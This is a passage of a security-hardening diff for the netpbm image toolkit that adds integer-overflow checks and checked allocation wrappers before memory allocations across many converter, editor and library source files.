     /* should keep list of port numbers to notify when frames become ready */
-
+  
+    overflow2(numInputFiles, sizeof(int));
+    overflow2(numInputFiles, sizeof(boolean));
     ready = (boolean *) calloc(numInputFiles, sizeof(boolean));
     waitMachine = (int *) calloc(numInputFiles, sizeof(int));
     waitPort = (int *) malloc(numMachines*sizeof(int));
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c	2009-10-21 15:09:33.000000000 +0200
@@ -216,7 +216,14 @@ SetSearchRange(int const pixelsP, int co
         int const max_search = max(searchRangeP, searchRangeB);
 
         int index;
-    
+
+        overflow2(searchRangeP, 2);
+        overflow2(searchRangeB, 2);
+        overflow_add(searchRangeP*2, 3);
+        overflow_add(searchRangeB*2, 3);
+        overflow2(2*searchRangeB+3, sizeof(int));
+        overflow2(2*searchRangeP+3, sizeof(int));
+
         pmvHistogram = (int **) malloc((2*searchRangeP+3)*sizeof(int *));
         bbmvHistogram = (int **) malloc((2*searchRangeB+3)*sizeof(int *));
         bfmvHistogram = (int **) malloc((2*searchRangeB+3)*sizeof(int *));
@@ -800,6 +807,9 @@ ShowPMVHistogram(fpointer)
     int *columnTotals;
     int rowTotal;
 
+    overflow2(searchRangeP, 2);
+    overflow_add(searchRangeP*2,  3);
+    overflow2(searchRangeP*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeP+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
@@ -847,6 +857,9 @@ ShowBBMVHistogram(fpointer)
 
     fprintf(fpointer, "B-frame Backwards:\n");
 
+    overflow2(searchRangeB, 2);
+    overflow_add(searchRangeB*2,  3);
+    overflow2(searchRangeB*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeB+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
@@ -894,6 +907,9 @@ ShowBFMVHistogram(fpointer)
 
     fprintf(fpointer, "B-frame Forwards:\n");
 
+    overflow2(searchRangeB, 2);
+    overflow_add(searchRangeB*2,  3);
+    overflow2(searchRangeB*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeB+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c	2009-10-21 15:09:33.000000000 +0200
@@ -72,6 +72,8 @@ compute_mult_tables(const pixval maxval)
         } 
         table_maxval = maxval;
 
+	overflow_add(table_maxval, 1);
+	overflow2(table_maxval+1, sizeof(float));
         mult299   = malloc((table_maxval+1)*sizeof(float));
         mult587   = malloc((table_maxval+1)*sizeof(float));
         mult114   = malloc((table_maxval+1)*sizeof(float));
diff -up netpbm-10.47.04/converter/ppm/ppmtopcx.c.security netpbm-10.47.04/converter/ppm/ppmtopcx.c
--- netpbm-10.47.04/converter/ppm/ppmtopcx.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopcx.c	2009-10-21 15:09:33.000000000 +0200
@@ -419,6 +419,8 @@ ppmTo16ColorPcx(pixel **            cons
             else                   Planes = 1;
         }
     }
+    overflow2(BitsPerPixel, cols);
+    overflow_add(BitsPerPixel * cols, 7);
     BytesPerLine = ((cols * BitsPerPixel) + 7) / 8;
     MALLOCARRAY_NOFAIL(indexRow, cols);
     MALLOCARRAY_NOFAIL(planesrow, BytesPerLine);
diff -up netpbm-10.47.04/converter/ppm/ppmtopict.c.security netpbm-10.47.04/converter/ppm/ppmtopict.c
--- netpbm-10.47.04/converter/ppm/ppmtopict.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopict.c	2009-10-21 15:09:33.000000000 +0200
@@ -245,6 +245,8 @@ char *argv[];
 	putShort(stdout, 0);			/* mode */
 
 	/* Finally, write out the data. */
+	overflow_add(cols/MAX_COUNT, 1);
+        overflow_add(cols, cols/MAX_COUNT+1);
 	packed = (char*) malloc((unsigned)(cols+cols/MAX_COUNT+1));
 	oc = 0;
 	for (row = 0; row < rows; row++)
diff -up netpbm-10.47.04/converter/ppm/ppmtopj.c.security netpbm-10.47.04/converter/ppm/ppmtopj.c
--- netpbm-10.47.04/converter/ppm/ppmtopj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopj.c	2009-10-21 15:09:33.000000000 +0200
@@ -179,6 +179,7 @@ char *argv[];
 	pixels = ppm_readppm( ifp, &cols, &rows, &maxval );
 
 	pm_close( ifp );
+	overflow2(cols,2);
 	obuf = (unsigned char *) pm_allocrow(cols, sizeof(unsigned char));
 	cbuf = (unsigned char *) pm_allocrow(cols * 2, sizeof(unsigned char));
 
diff -up netpbm-10.47.04/converter/ppm/ppmtopjxl.c.security netpbm-10.47.04/converter/ppm/ppmtopjxl.c
--- netpbm-10.47.04/converter/ppm/ppmtopjxl.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopjxl.c	2009-10-21 15:43:31.000000000 +0200
@@ -276,6 +276,8 @@ main(int argc, const char * argv[]) {
         pm_error("image too large; reduce with ppmscale");
     if (maxval > PCL_MAXVAL)
         pm_error("color range too large; reduce with ppmcscale");
+    if (cols < 0 || rows < 0)
+        pm_error("negative size is not possible");
 
     /* Figure out the colormap. */
     pm_message("Computing colormap...");
@@ -296,6 +298,8 @@ main(int argc, const char * argv[]) {
         case 0: /* direct mode (no palette) */
             bpp = bitsperpixel(maxval); /* bits per pixel */
             bpg = bpp; bpb = bpp;
+	    overflow2(bpp, 3);
+	    overflow_add(bpp*3, 7);
             bpp = (bpp*3+7)>>3;     /* bytes per pixel now */
             bpr = (bpp<<3)-bpg-bpb; 
             bpp *= cols;            /* bytes per row now */
@@ -305,9 +309,13 @@ main(int argc, const char * argv[]) {
         case 3: case 7: pclindex++;
         default:
             bpp = 8/pclindex;
+	    overflow_add(cols, bpp);
+	    if(bpp == 0)
+		pm_error("assert: no bpp");
             bpp = (cols+bpp-1)/bpp;      /* bytes per row */
         }
     }
+    overflow2(bpp,2);
     inrow = (char *)malloc((unsigned)bpp);
     outrow = (char *)malloc((unsigned)bpp*2);
     runcnt = (signed char *)malloc((unsigned)bpp);
diff -up netpbm-10.47.04/converter/ppm/ppmtowinicon.c.security netpbm-10.47.04/converter/ppm/ppmtowinicon.c
--- netpbm-10.47.04/converter/ppm/ppmtowinicon.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtowinicon.c	2009-10-21 15:44:54.000000000 +0200
@@ -12,6 +12,7 @@
 
 #include <math.h>
 #include <string.h>
+#include <stdlib.h>
 
 #include "pm_c_util.h"
 #include "winico.h"
@@ -219,6 +220,7 @@ createAndBitmap (gray ** const ba, int c
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
    for (y=0;y<rows;y++) {
       u1 * row;
@@ -347,6 +349,7 @@ create4Bitmap (pixel ** const pa, int co
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
 
    for (y=0;y<rows;y++) {
@@ -407,6 +410,7 @@ create8Bitmap (pixel ** const pa, int co
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
 
    for (y=0;y<rows;y++) {
@@ -714,6 +718,10 @@ addEntryToIcon(MS_Ico       const MSIcon
     entry->bitcount      = bpp;
     entry->ih            = createInfoHeader(entry, xorBitmap, andBitmap);
     entry->colors        = palette->colors;
+    overflow2(4, entry->color_count);
+    overflow_add(xorBitmap->size, andBitmap->size);
+    overflow_add(xorBitmap->size + andBitmap->size, 40);
+    overflow_add(xorBitmap->size + andBitmap->size + 40, 4 * entry->color_count);
     entry->size_in_bytes = 
         xorBitmap->size + andBitmap->size + 40 + (4 * entry->color_count);
     if (verbose) 
diff -up netpbm-10.47.04/converter/ppm/ppmtoxpm.c.security netpbm-10.47.04/converter/ppm/ppmtoxpm.c
--- netpbm-10.47.04/converter/ppm/ppmtoxpm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoxpm.c	2009-10-21 15:09:33.000000000 +0200
@@ -197,6 +197,7 @@ genNumstr(unsigned int const input, int 
     unsigned int i;
 
     /* Allocate memory for printed number.  Abort if error. */
+    overflow_add(digits, 1);
     if (!(str = (char *) malloc(digits + 1)))
         pm_error("out of memory");
 
@@ -314,6 +315,7 @@ genCmap(colorhist_vector const chv, 
     unsigned int charsPerPixel;
     unsigned int xpmMaxval;
     
+    if (includeTransparent) overflow_add(ncolors, 1);
     MALLOCARRAY(cmap, cmapSize);
     if (cmapP == NULL)
         pm_error("Out of memory allocating %u bytes for a color map.",
diff -up netpbm-10.47.04/converter/ppm/qrttoppm.c.security netpbm-10.47.04/converter/ppm/qrttoppm.c
--- netpbm-10.47.04/converter/ppm/qrttoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/qrttoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -46,7 +46,7 @@ main( argc, argv )
 
     ppm_writeppminit( stdout, cols, rows, maxval, 0 );
     pixelrow = ppm_allocrow( cols );
-    buf = (unsigned char *) malloc( 3 * cols );
+    buf = (unsigned char *) malloc2( 3 , cols );
     if ( buf == (unsigned char *) 0 )
 	pm_error( "out of memory" );
 
diff -up netpbm-10.47.04/converter/ppm/sldtoppm.c.security netpbm-10.47.04/converter/ppm/sldtoppm.c
--- netpbm-10.47.04/converter/ppm/sldtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/sldtoppm.c	2009-10-21 15:44:11.000000000 +0200
@@ -455,6 +455,8 @@ slider(slvecfn   slvec,
     
     /* Allocate image buffer and clear it to black. */
     
+    overflow_add(ixdots,1);
+    overflow_add(iydots,1);
     pixels = ppm_allocarray(pixcols = ixdots + 1, pixrows = iydots + 1);
     PPM_ASSIGN(rgbcolor, 0, 0, 0);
     ppmd_filledrectangle(pixels, pixcols, pixrows, pixmaxval, 0, 0,
diff -up netpbm-10.47.04/converter/ppm/ximtoppm.c.security netpbm-10.47.04/converter/ppm/ximtoppm.c
--- netpbm-10.47.04/converter/ppm/ximtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ximtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -117,6 +117,7 @@ ReadXimHeader(FILE *     const in_fp,
     header->bits_channel = atoi(a_head.bits_per_channel);
     header->alpha_flag = atoi(a_head.alpha_channel);
     if (strlen(a_head.author)) {
+    	overflow_add(strlen(a_head.author),1);
         if (!(header->author = calloc((unsigned int)strlen(a_head.author)+1,
                 1))) {
             pm_message("ReadXimHeader: can't calloc author string" );
@@ -126,6 +127,7 @@ ReadXimHeader(FILE *     const in_fp,
         strncpy(header->author, a_head.author, strlen(a_head.author));
     }
     if (strlen(a_head.date)) {
+        overflow_add(strlen(a_head.date),1);
         if (!(header->date =calloc((unsigned int)strlen(a_head.date)+1,1))){
             pm_message("ReadXimHeader: can't calloc date string" );
             return(0);
@@ -134,6 +136,7 @@ ReadXimHeader(FILE *     const in_fp,
         strncpy(header->date, a_head.date, strlen(a_head.date));
     }
     if (strlen(a_head.program)) {
+        overflow_add(strlen(a_head.program),1);
         if (!(header->program = calloc(
                     (unsigned int)strlen(a_head.program) + 1, 1))) {
             pm_message("ReadXimHeader: can't calloc program string" );
@@ -160,6 +163,7 @@ ReadXimHeader(FILE *     const in_fp,
     if (header->nchannels == 3 && header->bits_channel == 8)
         header->ncolors = 0;
     else if (header->nchannels == 1 && header->bits_channel == 8) {
+	overflow2(header->ncolors, sizeof(Color));
         header->colors = (Color *)calloc((unsigned int)header->ncolors,
                 sizeof(Color));
         if (header->colors == NULL) {
diff -up netpbm-10.47.04/converter/ppm/xpmtoppm.c.security netpbm-10.47.04/converter/ppm/xpmtoppm.c
--- netpbm-10.47.04/converter/ppm/xpmtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/xpmtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -701,6 +701,7 @@ ReadXPMFile(FILE * const stream, int * c
                        &ncolors, colorsP, &ptab);
         *transparentP = -1;  /* No transparency in version 1 */
     }
+    overflow2(*widthP, *heightP);
     totalpixels = *widthP * *heightP;
     MALLOCARRAY(*dataP, totalpixels);
     if (*dataP == NULL)
diff -up netpbm-10.47.04/converter/ppm/yuvtoppm.c.security netpbm-10.47.04/converter/ppm/yuvtoppm.c
--- netpbm-10.47.04/converter/ppm/yuvtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/yuvtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -72,6 +72,7 @@ main(argc, argv)
 
 	ppm_writeppminit(stdout, cols, rows, (pixval) 255, 0);
 	pixrow = ppm_allocrow(cols);
+    overflow_add(cols, 1);
     MALLOCARRAY(yuvbuf, (cols+1)/2);
     if (yuvbuf == NULL)
         pm_error("Unable to allocate YUV buffer for %d columns.", cols);
diff -up netpbm-10.47.04/editor/pamcut.c.security netpbm-10.47.04/editor/pamcut.c
--- netpbm-10.47.04/editor/pamcut.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pamcut.c	2009-10-21 15:29:36.000000000 +0200
@@ -655,6 +655,8 @@ cutOneImage(FILE *             const ifP
 
     outpam = inpam;    /* Initial value -- most fields should be same */
     outpam.file   = ofP;
+    overflow_add(rightcol, 1);
+    overflow_add(bottomrow, 1);
     outpam.width  = rightcol - leftcol + 1;
     outpam.height = bottomrow - toprow + 1;
 
diff -up netpbm-10.47.04/editor/pbmpscale.c.security netpbm-10.47.04/editor/pbmpscale.c
--- netpbm-10.47.04/editor/pbmpscale.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pbmpscale.c	2009-10-21 15:27:21.000000000 +0200
@@ -110,6 +110,7 @@ main(int argc, char ** argv) {
     inrow[0] = inrow[1] = inrow[2] = NULL;
     pbm_readpbminit(ifP, &columns, &rows, &format) ;
 
+    overflow2(columns, scale);
     outrow = pbm_allocrow(columns*scale) ;
     MALLOCARRAY(flags, columns);
     if (flags == NULL) 
diff -up netpbm-10.47.04/editor/pbmreduce.c.security netpbm-10.47.04/editor/pbmreduce.c
--- netpbm-10.47.04/editor/pbmreduce.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pbmreduce.c	2009-10-21 15:26:13.000000000 +0200
@@ -94,6 +94,7 @@ main( argc, argv )
     if (halftone == QT_FS) {
         unsigned int col;
         /* Initialize Floyd-Steinberg. */
+        overflow_add(newcols, 2);
         MALLOCARRAY(thiserr, newcols + 2);
         MALLOCARRAY(nexterr, newcols + 2);
         if (thiserr == NULL || nexterr == NULL)
diff -up netpbm-10.47.04/editor/pnmgamma.c.security netpbm-10.47.04/editor/pnmgamma.c
--- netpbm-10.47.04/editor/pnmgamma.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmgamma.c	2009-10-21 15:09:34.000000000 +0200
@@ -586,6 +586,7 @@ createGammaTables(enum transferFunction 
                   xelval **             const btableP) {
 
     /* Allocate space for the tables. */
+    overflow_add(maxval, 1);
     MALLOCARRAY(*rtableP, maxval+1);
     MALLOCARRAY(*gtableP, maxval+1);
     MALLOCARRAY(*btableP, maxval+1);
diff -up netpbm-10.47.04/editor/pnmhisteq.c.security netpbm-10.47.04/editor/pnmhisteq.c
--- netpbm-10.47.04/editor/pnmhisteq.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmhisteq.c	2009-10-21 15:09:34.000000000 +0200
@@ -103,6 +103,7 @@ computeLuminosityHistogram(xel * const *
     unsigned int pixelCount;
     unsigned int * lumahist;
 
+    overflow_add(maxval, 1);
     MALLOCARRAY(lumahist, maxval + 1);
     if (lumahist == NULL)
         pm_error("Out of storage allocating array for %u histogram elements",
diff -up netpbm-10.47.04/editor/pnmindex.csh.security netpbm-10.47.04/editor/pnmindex.csh
--- netpbm-10.47.04/editor/pnmindex.csh.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmindex.csh	2009-10-21 15:09:34.000000000 +0200
@@ -1,5 +1,8 @@
 #!/bin/csh -f
 #
+echo "Unsafe code, needs debugging, do not ship"
+exit 1
+#
 # pnmindex - build a visual index of a bunch of anymaps
 #
 # Copyright (C) 1991 by Jef Poskanzer.
diff -up netpbm-10.47.04/editor/pnmpad.c.security netpbm-10.47.04/editor/pnmpad.c
--- netpbm-10.47.04/editor/pnmpad.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmpad.c	2009-10-21 15:33:51.000000000 +0200
@@ -527,6 +527,8 @@ main(int argc, const char ** argv) {
 
     computePadSizes(cmdline, cols, rows, &lpad, &rpad, &tpad, &bpad);
 
+    overflow_add(cols, lpad);
+    overflow_add(cols + lpad, rpad);
     newcols = cols + lpad + rpad;
 
     if (PNM_FORMAT_TYPE(format) == PBM_TYPE)
diff -up netpbm-10.47.04/editor/pnmpaste.c.security netpbm-10.47.04/editor/pnmpaste.c
diff -up netpbm-10.47.04/editor/pnmremap.c.security netpbm-10.47.04/editor/pnmremap.c
--- netpbm-10.47.04/editor/pnmremap.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmremap.c	2009-10-21 15:28:20.000000000 +0200
@@ -408,7 +408,7 @@ initFserr(struct pam *   const pamP,
     unsigned int plane;
 
     unsigned int const fserrSize = pamP->width + 2;
-
+    overflow_add(pamP->width, 2);
     fserrP->width = pamP->width;
 
     MALLOCARRAY(fserrP->thiserr, pamP->depth);
@@ -444,6 +444,7 @@ floydInitRow(struct pam * const pamP, st
 
     int col;
     
+    overflow_add(pamP->width, 2);
     for (col = 0; col < pamP->width + 2; ++col) {
         unsigned int plane;
         for (plane = 0; plane < pamP->depth; ++plane) 
diff -up netpbm-10.47.04/editor/pnmscalefixed.c.security netpbm-10.47.04/editor/pnmscalefixed.c
--- netpbm-10.47.04/editor/pnmscalefixed.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmscalefixed.c	2009-10-21 15:09:34.000000000 +0200
@@ -211,6 +211,8 @@ compute_output_dimensions(const struct c
                           const int rows, const int cols,
                           int * newrowsP, int * newcolsP) {
 
+    overflow2(rows, cols);
+
     if (cmdline.pixels) {
         if (rows * cols <= cmdline.pixels) {
             *newrowsP = rows;
@@ -262,6 +264,8 @@ compute_output_dimensions(const struct c
 
     if (*newcolsP < 1) *newcolsP = 1;
     if (*newrowsP < 1) *newrowsP = 1;
+    
+    overflow2(*newcolsP, *newrowsP);
 }        
 
 
@@ -443,6 +447,9 @@ main(int argc, char **argv ) {
        unfilled.  We can address that by stretching, whereas the other
        case would require throwing away some of the input.
     */
+    
+    overflow2(newcols, SCALE);
+    overflow2(newrows, SCALE);
     sxscale = SCALE * newcols / cols;
     syscale = SCALE * newrows / rows;
 
diff -up netpbm-10.47.04/editor/pnmshear.c.security netpbm-10.47.04/editor/pnmshear.c
--- netpbm-10.47.04/editor/pnmshear.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmshear.c	2009-10-21 15:31:26.000000000 +0200
@@ -15,6 +15,7 @@
 #include <assert.h>
 #include <math.h>
 #include <string.h>
+#include <limits.h>
 
 #include "pm_c_util.h"
 #include "ppm.h"
@@ -236,6 +237,11 @@ main(int argc, char * argv[]) {
 
     shearfac = fabs(tan(cmdline.angle));
 
+    if(rows * shearfac >= INT_MAX-1)
+      pm_error("image too large");
+    
+    overflow_add(rows * shearfac, cols+1);
+
     newcols = rows * shearfac + cols + 0.999999;
 
     pnm_writepnminit(stdout, newcols, rows, newmaxval, newformat, 0);
diff -up netpbm-10.47.04/editor/ppmdither.c.security netpbm-10.47.04/editor/ppmdither.c
--- netpbm-10.47.04/editor/ppmdither.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmdither.c	2009-10-21 15:09:34.000000000 +0200
@@ -111,6 +111,9 @@ dith_matrix(unsigned int const dith_dim)
             (dith_dim * sizeof(int *)) + /* pointers */
             (dith_dim * dith_dim * sizeof(int)); /* data */
 
+        overflow2(dith_dim, sizeof(int *));
+        overflow3(dith_dim, dith_dim, sizeof(int));
+        overflow_add(dith_dim * sizeof(int *), dith_dim * dith_dim * sizeof(int));
         dith_mat = (unsigned int **) malloc(dith_mat_sz);
 
         if (dith_mat == NULL) 
@@ -165,7 +168,8 @@ dith_setup(const unsigned int dith_power
     if (dith_nb < 2) 
         pm_error("too few shades for blue, minimum of 2");
 
-    MALLOCARRAY(*colormapP, dith_nr * dith_ng * dith_nb);
+    overflow2(dith_nr, dith_ng);
+    *colormapP = malloc3(dith_nr * dith_ng, dith_nb,  sizeof(pixel));
     if (*colormapP == NULL) 
         pm_error("Unable to allocate space for the color lookup table "
                  "(%d by %d by %d pixels).", dith_nr, dith_ng, dith_nb);
diff -up netpbm-10.47.04/editor/specialty/pamoil.c.security netpbm-10.47.04/editor/specialty/pamoil.c
--- netpbm-10.47.04/editor/specialty/pamoil.c.security	2009-10-21 13:38:56.000000000 +0200
+++ netpbm-10.47.04/editor/specialty/pamoil.c	2009-10-21 15:09:33.000000000 +0200
@@ -112,6 +112,7 @@ main(int argc, char *argv[] ) {
     tuples = pnm_readpam(ifp, &inpam, PAM_STRUCT_SIZE(tuple_type));
     pm_close(ifp);
 
+    overflow_add(inpam.maxval, 1);
     MALLOCARRAY(hist, inpam.maxval + 1);
     if (hist == NULL)
         pm_error("Unable to allocate memory for histogram.");
diff -up netpbm-10.47.04/generator/pbmpage.c.security netpbm-10.47.04/generator/pbmpage.c
--- netpbm-10.47.04/generator/pbmpage.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pbmpage.c	2009-10-21 15:09:34.000000000 +0200
@@ -170,6 +170,9 @@ outputPbm(FILE *        const file,
     /* We round the allocated row space up to a multiple of 8 so the ugly
        fast code below can work.
        */
+    
+    overflow_add(bitmap.Width, 7);
+    
     pbmrow = pbm_allocrow(((bitmap.Width+7)/8)*8);
     
     bitmap_cursor = 0;
diff -up netpbm-10.47.04/generator/pbmtext.c.security netpbm-10.47.04/generator/pbmtext.c
--- netpbm-10.47.04/generator/pbmtext.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pbmtext.c	2009-10-21 15:23:15.000000000 +0200
@@ -96,12 +96,14 @@ parseCommandLine(int argc, const char **
         
         for (i = 1; i < argc; ++i) {
             if (i > 1) {
+                overflow_add(totaltextsize, 1);
                 totaltextsize += 1;
                 text = realloc(text, totaltextsize);
                 if (text == NULL)
                     pm_error("out of memory allocating space for input text");
                 strcat(text, " ");
             } 
+            overflow_add(totaltextsize, strlen(argv[i]));
             totaltextsize += strlen(argv[i]);
             text = realloc(text, totaltextsize);
             if (text == NULL)
@@ -711,6 +713,7 @@ getText(const char          cmdline_text
                 pm_error("A line of input text is longer than %u characters."
                          "Cannot process.", sizeof(buf)-1);
             if (lineCount >= maxlines) {
+                overflow2(maxlines, 2);
                 maxlines *= 2;
                 REALLOCARRAY(text_array, maxlines);
                 if (text_array == NULL)
@@ -831,6 +834,7 @@ main(int argc, const char *argv[]) {
             hmargin = fontP->maxwidth;
         } else {
             vmargin = fontP->maxheight;
+	    overflow2(2, fontP->maxwidth);
             hmargin = 2 * fontP->maxwidth;
         }
     }
diff -up netpbm-10.47.04/generator/pgmcrater.c.security netpbm-10.47.04/generator/pgmcrater.c
--- netpbm-10.47.04/generator/pgmcrater.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pgmcrater.c	2009-10-21 15:09:34.000000000 +0200
@@ -130,7 +130,7 @@ static void gencraters()
     /* Acquire the elevation array and initialize it to mean
        surface elevation. */
 
-    MALLOCARRAY(aux, SCRX * SCRY);
+    aux = (unsigned short *) malloc3(SCRX, SCRY, sizeof(short));
     if (aux == NULL) 
         pm_error("out of memory allocating elevation array");
 
diff -up netpbm-10.47.04/generator/pgmkernel.c.security netpbm-10.47.04/generator/pgmkernel.c
--- netpbm-10.47.04/generator/pgmkernel.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pgmkernel.c	2009-10-21 15:09:34.000000000 +0200
@@ -68,7 +68,7 @@ main ( argc, argv )
     kycenter = (fysize - 1) / 2.0;
     ixsize = fxsize + 0.999;
     iysize = fysize + 0.999;
-    MALLOCARRAY(fkernel, ixsize * iysize);
+    fkernel = (double *) malloc3 (ixsize, iysize, sizeof(double));
     for (i = 0; i < iysize; i++) 
         for (j = 0; j < ixsize; j++) {
             fkernel[i*ixsize+j] = 1.0 / (1.0 + w * sqrt((double)
diff -up netpbm-10.47.04/lib/libpam.c.security netpbm-10.47.04/lib/libpam.c
--- netpbm-10.47.04/lib/libpam.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpam.c	2009-10-21 15:09:34.000000000 +0200
@@ -235,7 +235,8 @@ allocPamRow(const struct pam * const pam
     int const bytesPerTuple = allocationDepth(pamP) * sizeof(sample);
     tuple * tuplerow;
 
-    tuplerow = malloc(pamP->width * (sizeof(tuple *) + bytesPerTuple));
+    overflow_add(sizeof(tuple *), bytesPerTuple);
+    tuplerow = malloc2(pamP->width, sizeof(tuple *) + bytesPerTuple);
                       
     if (tuplerow != NULL) {
         /* Now we initialize the pointers to the individual tuples
diff -up netpbm-10.47.04/lib/libpammap.c.security netpbm-10.47.04/lib/libpammap.c
--- netpbm-10.47.04/lib/libpammap.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpammap.c	2009-10-21 15:09:34.000000000 +0200
@@ -104,6 +104,8 @@ allocTupleIntListItem(struct pam * const
     */
     struct tupleint_list_item * retval;
 
+    overflow2(pamP->depth, sizeof(sample));
+    overflow_add(sizeof(*retval)-sizeof(retval->tupleint.tuple), pamP->depth*sizeof(sample));
     unsigned int const size = 
         sizeof(*retval) - sizeof(retval->tupleint.tuple) 
         + pamP->depth * sizeof(sample);
diff -up netpbm-10.47.04/lib/libpbm1.c.security netpbm-10.47.04/lib/libpbm1.c
--- netpbm-10.47.04/lib/libpbm1.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpbm1.c	2009-10-21 15:09:34.000000000 +0200
@@ -77,6 +77,7 @@ pbm_check(FILE * file, const enum pm_che
         pm_message("pm_filepos passed to pm_check() is %u bytes",
                    sizeof(pm_filepos));
 #endif
+        overflow2(bytes_per_row, rows);
         pm_check(file, check_type, need_raster_size, retval_p);
     }
 }
diff -up netpbm-10.47.04/lib/libpbmvms.c.security netpbm-10.47.04/lib/libpbmvms.c
--- netpbm-10.47.04/lib/libpbmvms.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpbmvms.c	2009-10-21 15:09:34.000000000 +0200
@@ -1,3 +1,5 @@
+#warning "NOT AUDITED"
+
 /***************************************************************************
   This file contains library routines needed to build Netpbm for VMS.
   However, as of 2000.05.26, when these were split out of libpbm1.c
diff -up netpbm-10.47.04/lib/libpm.c.security netpbm-10.47.04/lib/libpm.c
--- netpbm-10.47.04/lib/libpm.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpm.c	2009-10-21 15:09:34.000000000 +0200
@@ -827,4 +827,53 @@ pm_parse_height(const char * const arg) 
 }
 
 
+/*
+ *	Maths wrapping
+ */
+ 
+void __overflow2(int a, int b)
+{
+	if(a < 0 || b < 0)
+		pm_error("object too large");
+	if(b == 0)
+		return;
+	if(a > INT_MAX / b)
+		pm_error("object too large");
+}
+
+void overflow3(int a, int b, int c)
+{
+	overflow2(a,b);
+	overflow2(a*b, c);
+}
+
+void overflow_add(int a, int b)
+{
+	if( a > INT_MAX - b)
+		pm_error("object too large");
+}
+
+void *malloc2(int a, int b)
+{
+	overflow2(a, b);
+	if(a*b == 0)
+		pm_error("Zero byte allocation");
+	return malloc(a*b);
+}
+
+void *malloc3(int a, int b, int c)
+{
+	overflow3(a, b, c);
+	if(a*b*c == 0)
+		pm_error("Zero byte allocation");
+	return malloc(a*b*c);
+}
+
+void *realloc2(void * a, int b, int c)
+{
+	overflow2(b, c);
+	if(b*c == 0)
+		pm_error("Zero byte allocation");
+	return realloc(a, b*c);
+}
 
diff -up netpbm-10.47.04/lib/pm.h.security netpbm-10.47.04/lib/pm.h
--- netpbm-10.47.04/lib/pm.h.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/pm.h	2009-10-21 15:09:34.000000000 +0200
@@ -377,4 +377,11 @@ pm_parse_height(const char * const arg);
 #endif
 
 
+void *malloc2(int, int);
+void *malloc3(int, int, int);
